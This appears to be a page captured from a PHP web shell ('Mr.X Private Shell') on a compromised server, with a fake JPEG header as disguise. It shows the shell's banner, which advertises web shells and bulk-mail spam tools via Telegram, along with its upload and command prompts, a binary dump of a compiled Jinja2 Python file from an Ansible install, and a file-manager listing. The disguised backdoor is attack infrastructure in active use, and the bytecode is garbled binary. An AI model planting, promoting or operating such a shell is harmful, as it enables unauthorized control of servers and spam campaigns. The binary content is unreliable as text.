����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

��+b�)�@s�ddlZddlmZddlmZdZdZdZdZ	dej
ejejd	d	d
�dd�Z
dejejd	d	d
�dd�ZGdd	�d	�ZGdd�de�ZGdd�de�ZdS)�N�)�nodes)�NodeVisitor�param�resolve�aliasZ	undefined�Symbols)r�parent_symbols�returncCs*t|d�}t|�}|D]}|�|�q|S�N)�parent)r�FrameSymbolVisitor�visit)rr	�sym�visitor�node�r�E/usr/lib/python3.9/site-packages/ansible/_vendor/jinja2/idtracking.py�find_symbolss

r)rr	r
cCst|d�}|�|�|Sr)r�analyze_node)rr	rrrr�symbols_for_nodes

rc@s*eZdZd#ejdejedd�dd�Zejej	dd�dd�Z
d$eejejeejefed�d	d
�Z
eejej	d�dd
�Zeejed�dd�Zeed�dd�Zdd�dd�Zedd�dd�Zeed�dd�Zedd�dd�Zejddd�dd�Zejeefd�dd �Zejed�d!d"�ZdS)%rN)r�levelr
cCsD|dur |durd}n
|jd}||_||_i|_i|_t�|_dS)Nrr)rr�refs�loads�set�stores)�selfrrrrr�__init__s
zSymbols.__init__�r�kwargsr
cKst|�}|j|fi|��dS�N)�RootVisitorr)rrrrrrrr.szSymbols.analyze_node)�name�loadr
cCs2d|j�d|��}||j|<|dur.||j|<|S)NZl_�_)rrr)rr"r#�identrrr�_define_ref2s


zSymbols._define_ref)�targetr
cCs.||jvr|j|S|jdur*|j�|�SdSr )rr�	find_load)rr'rrrr(;s



zSymbols.find_load)r"r
cCs.||jvr|j|S|jdur*|j�|�SdSr )rr�find_ref�rr"rrrr)Ds



zSymbols.find_refcCs&|�|�}|dur"td|�d���|S)NzFTried to resolve a name to a reference that was unknown to the frame (�))r)�AssertionError)rr"�rvrrr�refMs
��zSymbols.ref)r
cCsBt�|j�}|j�|j�|j��|_|j��|_|j��|_|Sr )	�object�__new__�	__class__�__dict__�updater�copyrr)rr-rrrr4VszSymbols.copycCs`|j�|�||jvr\|jdurJ|j�|�}|durJ|j|t|fd�dS|j|tdfd�dS�N)r#)r�addrrr)r&�VAR_LOAD_ALIAS�VAR_LOAD_UNDEFINED)rr"Z	outer_refrrr�store^s

z
Symbols.storecCs|j�|�|j|tdfd�Sr5)rr6r&�VAR_LOAD_PARAMETERr*rrr�declare_parameterpszSymbols.declare_parametercCs$|�|�dur |j|t|fd�dSr5)r)r&�VAR_LOAD_RESOLVEr*rrrr#tszSymbols.load)�branch_symbolsr
c	Cs�i}|D]0}|jD]$}||jvr"q|�|d�d||<qq|D].}|j�|j�|j�|j�|j�|j�q>|��D]l\}}|t|�kr�qv|�|�}|dus�Jd��|jdur�|j�|�}|dur�t	|f|j|<qvt
|f|j|<qvdS)Nrrzshould not happen)r�getrr3r�items�lenr)rr7r<)	rr=r�branchr'rr"Zbranch_countZouter_targetrrr�
branch_updatexs*



zSymbols.branch_updatecCsBi}|}|dur>t|j�D]}||vr|�|�||<q|j}q|Sr )�sortedrr)r)rr-rr"rrr�dump_stores�szSymbols.dump_storescCsHt�}|}|durD|j��D]\}\}}|tkr|�|�q|j}q
|Sr )rrr?r:r6r)rr-rr'Zinstrr$rrr�dump_param_targets�szSymbols.dump_param_targets)NN)N)�__name__�
__module__�__qualname__�t�Optional�intrr�Node�Anyr�str�Tupler&r(r)r.r4r9r;r#�SequencerB�DictrD�SetrErrrrrs*����				
c@s�eZdZddd�dd�Zejejdd�dd�ZeZ	eZ
eZeZeZ
eZeZejejdd�d	d
�Zejejdd�dd�Zejejdd�d
d�Zdejeejdd�dd�Zejejdd�dd�Zejejejdd�dd�ZdS)r!rN��symbolsr
cCst|�|_dSr )r
�sym_visitor�rrTrrrr�szRootVisitor.__init__rcKs|��D]}|j�|�qdSr �Ziter_child_nodesrUr�rrr�childrrr�
_simple_visit�szRootVisitor._simple_visitcKs|jD]}|j�|�qdSr ��bodyrUrrXrrr�visit_AssignBlock�s
zRootVisitor.visit_AssignBlockcKs"|jdd�D]}|j�|�qdS)N)�call)ZexcluderWrXrrr�visit_CallBlock�szRootVisitor.visit_CallBlockcKs|jD]}|j�|�qdSr r[rXrrr�visit_OverlayScope�s
zRootVisitor.visit_OverlayScoper\)r�
for_branchrr
cKs�|dkr"|jj|jdd�|j}nN|dkr2|j}n>|dkrh|jj|jdd�|jdurd|j�|j�dStd��|r�|D]}|j�|�qxdS)Nr\T)�store_as_param�else�testzUnknown for branch)rUrr'r\�else_rd�RuntimeError)rrrarrA�itemrrr�	visit_For�s
zRootVisitor.visit_ForcKs4|jD]}|j�|�q|jD]}|j�|�qdSr )�targetsrUrr\)rrrr'rYrrr�
visit_With�s

zRootVisitor.visit_With)r�argsrr
cOstdt|�j����dS)NzCannot find symbols for )�NotImplementedError�typerF)rrrkrrrr�
generic_visit�szRootVisitor.generic_visit)r\)rFrGrHrrrLrIrMrZZvisit_Template�visit_Block�visit_Macro�visit_FilterBlock�visit_Scope�visit_IfZvisit_ScopedEvalContextModifier�AssignBlockr]�	CallBlockr_�OverlayScoper`�ForrNrh�Withrjrnrrrrr!�s&�
�r!c@sneZdZdZddd�dd�Zd(ejeej	dd�d	d
�Z
ejej	dd�dd
�Zej
ej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�dd�Zejej	dd�d d!�Z ej!ej	dd�d"d#�Z"ej#ej	dd�d$d%�Z$ej%ej	dd�d&d'�Z&dS))r
zA visitor for `Frame.inspect`.rNrScCs
||_dSr )rTrVrrrr�szFrameSymbolVisitor.__init__F)rrbrr
cKsT|s|jdkr|j�|j�n2|jdkr8|j�|j�n|jdkrP|j�|j�dS)z2All assignments to names go through this function.rr9r#N)�ctxrTr;r"r9r#)rrrbrrrr�
visit_Name�s

zFrameSymbolVisitor.visit_NamercKs|j�|j�dSr )rTr#r"�rrrrrr�visit_NSRef�szFrameSymbolVisitor.visit_NSRefcsr�j|jfi����j�tjtjdd����fdd�}||j�}||j�}||j	pXd�}�j�
|||g�dS)Nr)rr
cs4����_}|D]}�j|fi���q��_|Sr )r4rTr)rr-Zsubnode�rZoriginal_symbolsrrr�inner_visits
z0FrameSymbolVisitor.visit_If.<locals>.inner_visitr)rrdrTrI�IterablerrLr\Zelif_rerB)rrrr~Zbody_symbolsZelif_symbolsZelse_symbolsrr}rrs�s 	

zFrameSymbolVisitor.visit_IfcKs|j�|j�dSr )rTr9r"r{rrrrpszFrameSymbolVisitor.visit_MacrocKs$|j|fi|��|j�|j�dSr )rnrTr9r'r{rrr�visit_ImportszFrameSymbolVisitor.visit_ImportcKsJ|j|fi|��|jD],}t|t�r8|j�|d�q|j�|�qdS)Nr)rn�names�
isinstance�tuplerTr9)rrrr"rrr�visit_FromImports


z#FrameSymbolVisitor.visit_FromImportcKs,|j|jfi|��|j|jfi|��dS)z'Visit assignments in the correct order.N)rrr'r{rrr�visit_AssignszFrameSymbolVisitor.visit_AssigncKs|j|jfi|��dS)zqVisiting stops at for blocks.  However the block sequence
        is visited as part of the outer scope.
        N)r�iterr{rrrrh#szFrameSymbolVisitor.visit_ForcKs|j|jfi|��dSr )rr^r{rrrr_)sz"FrameSymbolVisitor.visit_CallBlockcKs|j|jfi|��dSr )r�filterr{rrrrq,sz$FrameSymbolVisitor.visit_FilterBlockcKs|jD]}|�|�qdSr )�valuesr)rrrr'rrrrj/s
zFrameSymbolVisitor.visit_WithcKs|j|jfi|��dS)zStop visiting at block assigns.N)rr'r{rrrr]3sz$FrameSymbolVisitor.visit_AssignBlockcKsdS)zStop visiting at scopes.Nrr{rrrrr7szFrameSymbolVisitor.visit_ScopecKsdS)zStop visiting at blocks.Nrr{rrrro:szFrameSymbolVisitor.visit_BlockcKsdS)z!Do not visit into overlay scopes.Nrr{rrrr`=sz%FrameSymbolVisitor.visit_OverlayScope)F)'rFrGrH�__doc__rr�Name�boolrIrMrzZNSRefr|ZIfrsZMacrorpZImportr�Z
FromImportr�ZAssignr�rwrhrur_ZFilterBlockrqrxrjrtr]ZScoperrZBlockrorvr`rrrrr
�s*�
�	r
)N)N)�typingrI�rrrr:r<r7r8rrLrJrrrr!r
rrrr�<module>s(����:

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 1.55 KB 0644
__init__.cpython-39.pyc File 1.55 KB 0644
_identifier.cpython-39.opt-1.pyc File 2.01 KB 0644
_identifier.cpython-39.pyc File 2.01 KB 0644
async_utils.cpython-39.opt-1.pyc File 2.58 KB 0644
async_utils.cpython-39.pyc File 2.58 KB 0644
bccache.cpython-39.opt-1.pyc File 13.56 KB 0644
bccache.cpython-39.pyc File 13.56 KB 0644
compiler.cpython-39.opt-1.pyc File 52.85 KB 0644
compiler.cpython-39.pyc File 52.89 KB 0644
constants.cpython-39.opt-1.pyc File 1.49 KB 0644
constants.cpython-39.pyc File 1.49 KB 0644
debug.cpython-39.opt-1.pyc File 3.87 KB 0644
debug.cpython-39.pyc File 3.87 KB 0644
defaults.cpython-39.opt-1.pyc File 1.29 KB 0644
defaults.cpython-39.pyc File 1.29 KB 0644
environment.cpython-39.opt-1.pyc File 51.44 KB 0644
environment.cpython-39.pyc File 51.85 KB 0644
exceptions.cpython-39.opt-1.pyc File 5.43 KB 0644
exceptions.cpython-39.pyc File 5.43 KB 0644
ext.cpython-39.opt-1.pyc File 24.92 KB 0644
ext.cpython-39.pyc File 24.92 KB 0644
filters.cpython-39.opt-1.pyc File 49.09 KB 0644
filters.cpython-39.pyc File 49.2 KB 0644
idtracking.cpython-39.opt-1.pyc File 10.77 KB 0644
idtracking.cpython-39.pyc File 10.81 KB 0644
lexer.cpython-39.opt-1.pyc File 19.67 KB 0644
lexer.cpython-39.pyc File 19.77 KB 0644
loaders.cpython-39.opt-1.pyc File 19.81 KB 0644
loaders.cpython-39.pyc File 19.94 KB 0644
meta.cpython-39.opt-1.pyc File 3.69 KB 0644
meta.cpython-39.pyc File 3.69 KB 0644
nativetypes.cpython-39.opt-1.pyc File 4.83 KB 0644
nativetypes.cpython-39.pyc File 4.83 KB 0644
nodes.cpython-39.opt-1.pyc File 39.78 KB 0644
nodes.cpython-39.pyc File 39.9 KB 0644
optimizer.cpython-39.opt-1.pyc File 1.87 KB 0644
optimizer.cpython-39.pyc File 1.87 KB 0644
parser.cpython-39.opt-1.pyc File 26.91 KB 0644
parser.cpython-39.pyc File 26.91 KB 0644
runtime.cpython-39.opt-1.pyc File 31.37 KB 0644
runtime.cpython-39.pyc File 31.4 KB 0644
sandbox.cpython-39.opt-1.pyc File 11.62 KB 0644
sandbox.cpython-39.pyc File 11.62 KB 0644
tests.cpython-39.opt-1.pyc File 6.4 KB 0644
tests.cpython-39.pyc File 6.4 KB 0644
utils.cpython-39.opt-1.pyc File 23.95 KB 0644
utils.cpython-39.pyc File 23.95 KB 0644
visitor.cpython-39.opt-1.pyc File 3.81 KB 0644
visitor.cpython-39.pyc File 3.81 KB 0644